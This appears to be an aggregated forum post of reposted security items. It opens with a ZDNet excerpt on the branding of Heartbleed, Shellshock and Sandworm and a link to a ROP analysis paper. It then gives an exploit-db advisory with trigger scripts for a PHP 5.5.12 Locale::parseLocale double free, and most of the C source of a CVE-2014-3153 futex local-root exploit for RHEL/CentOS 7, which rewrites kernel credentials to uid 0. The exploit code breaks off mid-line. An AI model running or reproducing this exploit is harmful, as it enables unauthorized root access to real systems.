GoDaddy, CERT Australia, and many more. It felt like the worst big bug in ages was basically sprung on the world, by a group of insiders somewhere, who made it splashy, pre-packaged, and completely PR-ready. The criticism and suspicion surrounding Codenomicon's bug-branding motives blended with anger and confusion within overlapping infosec communities. Can attackers be thwarted with marketing? Heartbleed — birth name CVE-2014-0160 — became a household term overnight, even though average households still don't actually understand what it is. The media mostly didn't understand what Heartbleed was either, but its logo was featured on every major news site in the world, and the news spread quickly. Which was good, because for the organizations who needed to remediate Heartbleed, it was critical to move fast. Codenomicon CEO Chartier told the Guardian, "I think that the fact that it had a name, had a catchy logo that people remember, really helped fuel the speed with which people became aware of this." This being true, then so was the inverse: Heartbleed's viral branding most likely helped fuel the speed in which attackers learned about it, too. Heartbleed attacks appeared within days. Heartbleed's clever branding may be up for debate in the long run. Researchers from Northeastern University and Stanford University discovered in a November analysis that "while approximately 93 percent of the websites analyzed had patched their software correctly within three weeks of Heartbleed being announced, only 13 percent followed up with other security measures needed to make the systems completely secure." Heartbleed was branded on purpose, and there's no doubt it was a success. It's evocative, emotional, and it sounds serious. We asked Codenomicon why they branded Heartbleed and gave it a logo. Takanen said, "The vulnerability was very serious. Our team believed it needed a name and an approachable logo to accompany the message." He elaborated, saying they felt like it was time to evolve communication with the public about vulns. He said, The purpose was to help spread news of the vulnerability and get people to fix their systems as soon as possible. For the same reason we also published our Heartbleed FAQ on the heartbleed.com site. Due to the significance and based on our past experiences in reporting vulnerabilities, we had a feeling that this one called for a new approach, Vulnerability disclosure 2.0, to get the information out to everyone in a democratic way. Heartbleed: A tough act to follow In this light, Winshock, POODLE and Rootpipe missed the branding bandwagon completely. Well, you can't ask for a more logo-ready SSL bug name than Poodle, can you? — DEF CON (@_defcon_) October 15, 2014 Despite the fact that it seemed primed to do so, Google's POODLE (Padding Oracle On Downgraded Legacy Encryption attack) never did get pinned with a logo. Reporting on POODLE is a mish-mash of stock art, and disturbingly uninformed reporting-presented-as-a-joke by major media outlets. Heartbleed charmed the public, and in a way, it was designed to do so. By comparison Shellshock, POODLE (aka clumsy "Poodlebleed"), Sandworm, the secretively named Rootpipe, Winshock, and other vulns seem like proverbial "red headed stepchildren" — despite the fact that each of these vulns are critical issues, some are worse than Heartbleed, and all of which needed fast responses. The next "big bug" after Heartbleed was Shellshock — real name CVE-2014-6271. Shellshock didn't have a company's pocketbook or marketing team behind it. So, despite the fact that many said Shellshock was worse than Heartbleed (rated high on severity but low on complexity, making it easy for attackers), creating a celebrity out of Shellshock faced an uphill climb. It didn't help that Shellshock suffered an identity crisis upon public disclosure. On September 12, French researcher Stephanie Chazelas discovered a bug so stunning, and so old, it frightened him. An Akamai employee and open source dev researching on his own time while living in the UK at the time of Shellshock's discovery, Chazelas told The Age, "I would be amazed if governments haven't known about and exploited systems with Shell Shock for years." He reported it to Chet Raimey, who maintains Bash, after which it was quietly reported to internet infrastructure organizations and Linux distributors ("with a big fat warning that it was very serious and not to be disclosed"). After that, the family man only told his family. Unlike Google, the researchers didn't tell their closest biz-buddies in a game of telephone, one in which Heartbleed became an arms race of egos, insider information trading, and opportunism. Instead of a marketing plan, Chazelas and Raimey went to work on patches. Chazelas wrote about the bug's name-disclosure conflict saying, I suggested the name "bashdoor" on that list on Sun, 14 Sep 2014 14:29:48 +0100. (...) I was out of the loop after the 19th. bashdoor.com was registered (not by me) with a creation date of 2014-09-24 13:59 UTC sometime before 2014-09-24 06:59:10Z according to whois. Florian also said here that someone brought the early notification sent to vendors/infrastructure to the press, so someone obviously intended to take it to the press. I don't know whom. Bashdoor.com was never utilized. Probably because the very first article about the bug (published well ahead of other information, and social media buzz) claimed that "the bug has been given the name Shellshock by some" — though clearly not by Chazelas or Raimey. The move led to speculation that insiders wanted to "make a splash" in the press and leaked the bug details ahead of time. Stumbling out of the gate in terms of branding, once the bug began to be unpacked on popular blog Errata Security, Robert Graham said "I think people are calling this the 'shellshock" bug,' and he joked, "Still looking for official logo." The Internet saw a need, and filled it in the least attractive of ways, as is tradition. Graham later took credit for "pimping the name" in his widely-read and oft-cited blog posts about the bug. The press outlets and blogs that understood what Shellshock meant reported it dutifully. Those that didn't get it... just didn't bother. Shellshock is still actively used in attacks. Sandworm, the iSIGHT discovery, got a cool name and a nifty logo. iSIGHT's Mr. Ward told ZDNet, It is first important to note that we did not name the 'bug' — which in this case was a Microsoft Windows zero-day impacting all versions of the Windows operating system from Vista forward (CVE-2014-4114) — rather we gave a name to the team of actors behind the use/exploitation of the vulnerability. We dubbed this team 'Sandworm Team' for the references we discovered to the science fiction series 'Dune' in the command and control infrastructure that we observed. As for the logo, we needed a cover for the report…and we’re geeks too. It isn’t often that you have the opportunity to use the Sandworm from Dune in a piece of corporate research… so we ran with it. Sursa: The branded bug: Meet the people who name vulnerabilities | ZDNet

Deep Dive into ROP Payload Analysis Author: Sudeep Singh Purpose The purpose of this paper is to introduce the reader to techniques, which can be used to analyze ROP Payloads, which are used in exploits in the wild. At the same time, we take an in depth look at one of the ROP mitigation techniques such as stack pivot detection which is used in security softwares at present. By taking an example of 2 exploits found in the wild (CVE-2010-2883 and CVE-2014- 0569), a comparison between the ROP payloads is done in terms of their complexity and their capability of bypassing the stack pivot detection. A detailed analysis of the ROP payloads helps us understand this exploitation technique better and develop more efficient detection mechanisms. This paper is targeted towards Exploit Analysts and also those who are interested in Return Oriented Programming. Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/35355.pdf

PHP 5.5.12 Locale::parseLocale Memory Corruption Full Package: http://www.exploit-db.com/sploits/35358.tgz Description: ------------ PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs. Figure 1. Macros used by get_icu_value_internal. #define isIDSeparator(a) (a == '_' || a == '-') [...] #define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I')) [...] #define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1])) The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation. Figure 2. A call to Locale::parseLocale that triggers the exploitable condition. Locale::parseLocale("x-AAAAAA"); Details for the two frees are shown in figures 3 and 4. Figure 3. The first free. 0:000> kP ChildEBP RetAddr 016af25c 7146d7a3 php5ts!_efree( void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440] 016af290 7146f6a2 php_intl!add_array_entry( char * loc_name = 0x0179028c "", struct _zval_struct * hash_arr = 0x00000018, char * key_name = 0x71489e60 "language", void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073] 016af2b0 0f0c15ab php_intl!zif_locale_parse( int ht = 0n1, struct _zval_struct * return_value = 0x030bf4c8, struct _zval_struct ** return_value_ptr = 0x00000000, struct _zval_struct * this_ptr = 0x00000000, int return_value_used = 0n1, void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115] 016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC( struct _zend_execute_data * execute_data = 0x0179028c, void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551] 016af358 0f114757 php5ts!execute_ex( struct _zend_execute_data * execute_data = 0x030bef20, void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363] 016af380 0f0e60ea php5ts!zend_execute( struct _zend_op_array * op_array = 0x030be5f0, void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388] 016af3b4 0f0e4a00 php5ts!zend_execute_scripts( int type = 0n8, void *** tsrm_ls = 0x00000001, struct _zval_struct ** retval = 0x00000000, int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317] 016af5c0 00cc21fb php5ts!php_execute_script( struct _zend_file_handle * primary_file = <Memory access error>, void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506] 016af844 00cc2ed1 php!do_cli( int argc = 0n24707724, char ** argv = 0x00000018, void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995] 016af8e0 00cca05e php!main( int argc = 0n2, char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378] 016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536] 016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe 016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20 016af980 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> ub eip php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]: 0f0b1ef9 732e jae php5ts!_efree+0x79 (0f0b1f29) 0f0b1efb 817e4c00000200 cmp dword ptr [esi+4Ch],20000h 0f0b1f02 7325 jae php5ts!_efree+0x79 (0f0b1f29) 0f0b1f04 8bc2 mov eax,edx 0f0b1f06 c1e803 shr eax,3 0f0b1f09 8d0c86 lea ecx,[esi+eax*4] 0f0b1f0c 8b4148 mov eax,dword ptr [ecx+48h] 0f0b1f0f 894708 mov dword ptr [edi+8],eax 0:000> u eip php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]: 0f0b1f12 897948 mov dword ptr [ecx+48h],edi 0f0b1f15 01564c add dword ptr [esi+4Ch],edx 0f0b1f18 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)] 0f0b1f1d 85c0 test eax,eax 0f0b1f1f 0f851d040000 jne php5ts!_efree+0x492 (0f0b2342) 0f0b1f25 5f pop edi 0f0b1f26 5e pop esi 0f0b1f27 59 pop ecx 0:000> ?edi+8 Evaluate expression: 51114464 = 030bf1e0 0:000> dc edi+8 030bf1e0 00000000 41414141 00000000 00000000 ....AAAA........ 030bf1f0 00000011 00000019 61636f6c 0300656c ........locale.. 030bf200 00000011 00000011 6e697270 00725f74 ........print_r. 030bf210 00000109 00000011 030bf320 030bf210 ........ ....... 030bf220 01790494 00000000 00000000 00000000 ..y............. 030bf230 00000000 00000000 00000000 00000000 ................ 030bf240 00000000 00000000 00000000 00000000 ................ 030bf250 00000000 00000000 00000000 00000000 ................ Figure 4. The second free. 0:000> kP ChildEBP RetAddr 016af2c4 0f0c1813 php5ts!_zval_dtor_func( struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36] 016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC( struct _zend_execute_data * execute_data = 0x0179028c, void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642] 016af358 0f114757 php5ts!execute_ex( struct _zend_execute_data * execute_data = 0x030bef20, void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363] 016af380 0f0e60ea php5ts!zend_execute( struct _zend_op_array * op_array = 0x030be5f0, void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388] 016af3b4 0f0e4a00 php5ts!zend_execute_scripts( int type = 0n8, void *** tsrm_ls = 0x00000001, struct _zval_struct ** retval = 0x00000000, int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317] 016af5c0 00cc21fb php5ts!php_execute_script( struct _zend_file_handle * primary_file = <Memory access error>, void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506] 016af844 00cc2ed1 php!do_cli( int argc = 0n24707724, char ** argv = 0x00000018, void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995] 016af8e0 00cca05e php!main( int argc = 0n2, char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378] 016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536] 016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe 016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20 016af980 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> ub eip php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]: 0f0b1cae 0f8394000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48) 0f0b1cb4 817f4c00000200 cmp dword ptr [edi+4Ch],20000h 0f0b1cbb 0f8387000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48) 0f0b1cc1 8bc2 mov eax,edx 0f0b1cc3 c1e803 shr eax,3 0f0b1cc6 8d0c87 lea ecx,[edi+eax*4] 0f0b1cc9 8b4148 mov eax,dword ptr [ecx+48h] 0f0b1ccc 894608 mov dword ptr [esi+8],eax 0:000> u eip php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]: 0f0b1ccf 897148 mov dword ptr [ecx+48h],esi 0f0b1cd2 01574c add dword ptr [edi+4Ch],edx 0f0b1cd5 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)] 0f0b1cda 85c0 test eax,eax 0f0b1cdc 0f8591010000 jne php5ts!_zval_dtor_func+0x223 (0f0b1e73) 0f0b1ce2 5f pop edi 0f0b1ce3 5e pop esi 0f0b1ce4 c3 ret 0:000> ?esi+8 Evaluate expression: 51114464 = 030bf1e0 0:000> dc esi+8 030bf1e0 030bf1d8 41414141 00000000 00000000 ....AAAA........ 030bf1f0 00000011 00000019 61636f6c 0300656c ........locale.. 030bf200 00000011 00000011 6e697270 00725f74 ........print_r. 030bf210 00000109 00000011 030bf320 030bf210 ........ ....... 030bf220 01790494 00000000 00000000 00000000 ..y............. 030bf230 00000000 00000000 00000000 00000000 ................ 030bf240 00000000 00000000 00000000 00000000 ................ 030bf250 00000000 00000000 00000000 00000000 ................ The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6. Figure 5. A script that produces a variety of AVs. <?php Locale::parseLocale("x-AAAAAA"); $foo = new SplTempFileObject(); ?> Figure 6. A script that reliably produces DEPAVs. <?php Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG"); $pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE); $H03->item((unset)$gn = new SplStack()); $sC->valid(); ?> To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8. Figure 7. The original code. if( strcmp(tag_name , LOC_LANG_TAG)==0 ){ if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){ return (char *)loc_name; } } Figure 8. The fixed code. if( strcmp(tag_name , LOC_LANG_TAG)==0 ){ if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){ return estrdup(loc_name); } } Sursa: http://www.exploit-db.com/exploits/35358/

[h=1]Linux Kernel libfutex Local Root for RHEL/CentOS 7.0.1406[/h] /* * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406 * By Kaiqu Chen ( kaiquchen@163.com ) * Based on libfutex and the expoilt for Android by GeoHot. * * Usage: * $gcc exploit.c -o exploit -lpthread * $./exploit * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <stdbool.h> #include <pthread.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <errno.h> #include <linux/futex.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/resource.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/tcp.h> #define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) #define FUTEX_WAIT_REQUEUE_PI 11 #define FUTEX_CMP_REQUEUE_PI 12 #define USER_PRIO_BASE 120 #define LOCAL_PORT 5551 #define SIGNAL_HACK_KERNEL 12 #define SIGNAL_THREAD_EXIT 10 #define OFFSET_PID 0x4A4 #define OFFSET_REAL_PARENT 0x4B8 #define OFFSET_CRED 0x668 #define SIZEOF_CRED 160 #define SIZEOF_TASK_STRUCT 2912 #define OFFSET_ADDR_LIMIT 0x20 #define PRIO_LIST_OFFSET 8 #define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head)) #define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET) #define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET) #define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET) #define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET) #define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long)) #define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head)) //////////////////////////////////////////////////////////////////// struct task_struct; struct thread_info { struct task_struct *task; void *exec_domain; int flags; int status; int cpu; int preempt_count; void *addr_limit; }; struct list_head { struct list_head *next; struct list_head *prev; }; struct plist_head { struct list_head node_list; }; struct plist_node { int prio; struct list_head prio_list; struct list_head node_list; }; struct rt_mutex { unsigned long wait_lock; struct plist_head wait_list; struct task_struct *owner; }; struct rt_mutex_waiter { struct plist_node list_entry; struct plist_node pi_list_entry; struct task_struct *task; struct rt_mutex *lock; }; struct mmsghdr { struct msghdr msg_hdr; unsigned int msg_len; }; struct cred { int usage; int uid; /* real UID of the task */ int gid; /* real GID of the task */ int suid; /* saved UID of the task */ int sgid; /* saved GID of the task */ int euid; /* effective UID of the task */ int egid; /* effective GID of the task */ int fsuid; /* UID for VFS ops */ int fsgid; /* GID for VFS ops */ }; //////////////////////////////////////////////////////////////////// static int swag = 0; static int swag2 = 0; static int main_pid; static pid_t waiter_thread_tid; static pthread_mutex_t hacked_lock; static pthread_cond_t hacked; static pthread_mutex_t done_lock; static pthread_cond_t done; static pthread_mutex_t is_thread_desched_lock; static pthread_cond_t is_thread_desched; static volatile int do_socket_tid_read = 0; static volatile int did_socket_tid_read = 0; static volatile int do_dm_tid_read = 0; static volatile int did_dm_tid_read = 0; static pid_t last_tid = 0; static volatile int_sync_time_out = 0; struct thread_info thinfo; char task_struct_buf[sizeOF_TASK_STRUCT]; struct cred cred_buf; struct thread_info *hack_thread_stack = NULL; pthread_t thread_client_to_setup_rt_waiter; int listenfd; int sockfd; int clientfd; //////////////////////////////////////////////////////////////// int gettid() { return syscall(__NR_gettid); } ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) { int pipefd[2]; ssize_t len; pipe(pipefd); len = write(pipefd[1], kbuf, count); if (len != count) { printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno); while(1) { sleep(10); } } read(pipefd[0], ubuf, count); close(pipefd[0]); close(pipefd[1]); return len; } ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) { int pipefd[2]; ssize_t len; pipe(pipefd); write(pipefd[1], ubuf, count); len = read(pipefd[0], kbuf, count); if (len != count) { printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno); while(1) { sleep(10); } } close(pipefd[0]); close(pipefd[1]); return len; } int pthread_cancel_immediately(pthread_t thid) { pthread_kill(thid, SIGNAL_THREAD_EXIT); pthread_join(thid, NULL); return 0; } void set_addr_limit(void *sp) { long newlimit = -1; write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long)); } void set_cred(struct cred *kcred) { struct cred cred_buf; int len; len = read_pipe(kcred, &cred_buf, sizeof(cred_buf)); cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0; cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0; len = write_pipe(kcred, &cred_buf, sizeof(cred_buf)); } struct rt_mutex_waiter *pwaiter11; void set_parent_cred(void *sp, int parent_tid) { int len; int tid; struct task_struct *pparent; struct cred *pcred; set_addr_limit(sp); len = read_pipe(sp, &thinfo, sizeof(thinfo)); if(len != sizeof(thinfo)) { printf("Read %p error %d\n", sp, len); } void *ptask = thinfo.task; len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT); tid = *(int *)(task_struct_buf + OFFSET_PID); while(tid != 0 && tid != parent_tid) { pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT); len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT); tid = *(int *)(task_struct_buf + OFFSET_PID); } if(tid == parent_tid) { pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED); set_cred(pcred); } else printf("Pid %d not found\n", parent_tid); return; } static int read_voluntary_ctxt_switches(pid_t pid) { char filename[256]; FILE *fp; int vcscnt = -1; sprintf(filename, "/proc/self/task/%d/status", pid); fp = fopen(filename, "rb"); if (fp) { char filebuf[4096]; char *pdest; fread(filebuf, 1, sizeof filebuf, fp); pdest = strstr(filebuf, "voluntary_ctxt_switches"); vcscnt = atoi(pdest + 0x19); fclose(fp); } return vcscnt; } static void sync_timeout_task(int sig) { int_sync_time_out = 1; } static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request) { while (*do_request == 0) { } printf("Press RETURN after one second..."); *did_request = 1; getchar(); return 0; } static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request) { struct sigaction act; int vcscnt; int_sync_time_out = 0; act.sa_handler = sync_timeout_task; sigemptyset(&act.sa_mask); act.sa_flags = 0; act.sa_restorer = NULL; sigaction(SIGALRM, &act, NULL); alarm(3); while (*do_request == 0) { if (int_sync_time_out) return -1; } alarm(0); vcscnt = read_voluntary_ctxt_switches(pid); *did_request = 1; while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) { usleep(10); } return 0; } static void sync_with_parent(int volatile *do_request, int volatile *did_request) { *do_request = 1; while (*did_request == 0) { } } void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex) { struct rt_mutex_waiter *pwaiter6, *pwaiter7; struct rt_mutex_waiter waiter6, waiter7; struct rt_mutex mutex; if(!pmutex) return; read_pipe(pmutex, &mutex, sizeof(mutex)); pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next); if(!pwaiter6) return; read_pipe(pwaiter6, &waiter6, sizeof(waiter6)); pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next); if(!pwaiter7) return; read_pipe(pwaiter7, &waiter7, sizeof(waiter7)); waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next; waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev; mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next; waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev; write_pipe(pmutex, &mutex, sizeof(mutex)); write_pipe(pwaiter6, &waiter6, sizeof(waiter6)); write_pipe(pwaiter7, &waiter7, sizeof(waiter7)); } static void void_handler(int signum) { pthread_exit(0); } static void kernel_hack_task(int signum) { struct rt_mutex *prt_mutex, rt_mutex; struct rt_mutex_waiter rt_waiter11; int tid = syscall(__NR_gettid); int pid = getpid(); set_parent_cred(hack_thread_stack, main_pid); read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11)); prt_mutex = rt_waiter11.lock; read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex)); void *ptask_struct = rt_mutex.owner; ptask_struct = (void *)((long)ptask_struct & ~ 0xF); int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT); int *ppid = (int *)(task_struct_buf + OFFSET_PID); void **pstack = (void **)&task_struct_buf[8]; void *owner_sp = *pstack; set_addr_limit(owner_sp); pthread_mutex_lock(&hacked_lock); pthread_cond_signal(&hacked); pthread_mutex_unlock(&hacked_lock); } static void *call_futex_lock_pi_with_priority(void *arg) { int prio; struct sigaction act; int ret; prio = (long)arg; last_tid = syscall(__NR_gettid); pthread_mutex_lock(&is_thread_desched_lock); pthread_cond_signal(&is_thread_desched); act.sa_handler = void_handler; sigemptyset(&act.sa_mask); act.sa_flags = 0; act.sa_restorer = NULL; sigaction(SIGNAL_THREAD_EXIT, &act, NULL); act.sa_handler = kernel_hack_task; sigemptyset(&act.sa_mask); act.sa_flags = 0; act.sa_restorer = NULL; sigaction(SIGNAL_HACK_KERNEL, &act, NULL); setpriority(PRIO_PROCESS, 0, prio); pthread_mutex_unlock(&is_thread_desched_lock); sync_with_parent(&do_dm_tid_read, &did_dm_tid_read); ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0); return NULL; } static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio) { pthread_t th4; pid_t pid; do_dm_tid_read = 0; did_dm_tid_read = 0; pthread_mutex_lock(&is_thread_desched_lock); pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio); pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); pid = last_tid; sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read); pthread_mutex_unlock(&is_thread_desched_lock); return th4; } static int server_for_setup_rt_waiter(void) { int sockfd; int yes = 1; struct sockaddr_in addr = {0}; sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); addr.sin_family = AF_INET; addr.sin_port = htons(LOCAL_PORT); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); listen(sockfd, 1); listenfd = sockfd; return accept(sockfd, NULL, NULL); } static int connect_server_socket(void) { int sockfd; struct sockaddr_in addr = {0}; int ret; int sock_buf_size; sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); if (sockfd < 0) { printf("socket failed\n"); usleep(10); } else { addr.sin_family = AF_INET; addr.sin_port = htons(LOCAL_PORT); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); } while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) { usleep(10); } sock_buf_size = 1; setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); return sockfd; } unsigned long iov_base0, iov_basex; size_t iov_len0, iov_lenx; static void *client_to_setup_rt_waiter(void *waiter_plist) { int sockfd; struct mmsghdr msgvec[1]; struct iovec msg_iov[8]; unsigned long databuf[0x20]; int i; int ret; struct sigaction act; act.sa_handler = void_handler; sigemptyset(&act.sa_mask); act.sa_flags = 0; act.sa_restorer = NULL; sigaction(SIGNAL_THREAD_EXIT, &act, NULL); waiter_thread_tid = syscall(__NR_gettid); setpriority(PRIO_PROCESS, 0, 12); sockfd = connect_server_socket(); clientfd = sockfd; for (i = 0; i < ARRAY_SIZE(databuf); i++) { databuf = (unsigned long)waiter_plist; } for (i = 0; i < ARRAY_SIZE(msg_iov); i++) { msg_iov.iov_base = waiter_plist; msg_iov.iov_len = (long)waiter_plist; } msg_iov[1].iov_base = (void *)iov_base0; msgvec[0].msg_hdr.msg_name = databuf; msgvec[0].msg_hdr.msg_namelen = sizeof databuf; msgvec[0].msg_hdr.msg_iov = msg_iov; msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); msgvec[0].msg_hdr.msg_control = databuf; msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); msgvec[0].msg_hdr.msg_flags = 0; msgvec[0].msg_len = 0; syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0); sync_with_parent(&do_socket_tid_read, &did_socket_tid_read); ret = 0; while (1) { ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); if (ret <= 0) { break; } else printf("sendmmsg ret %d\n", 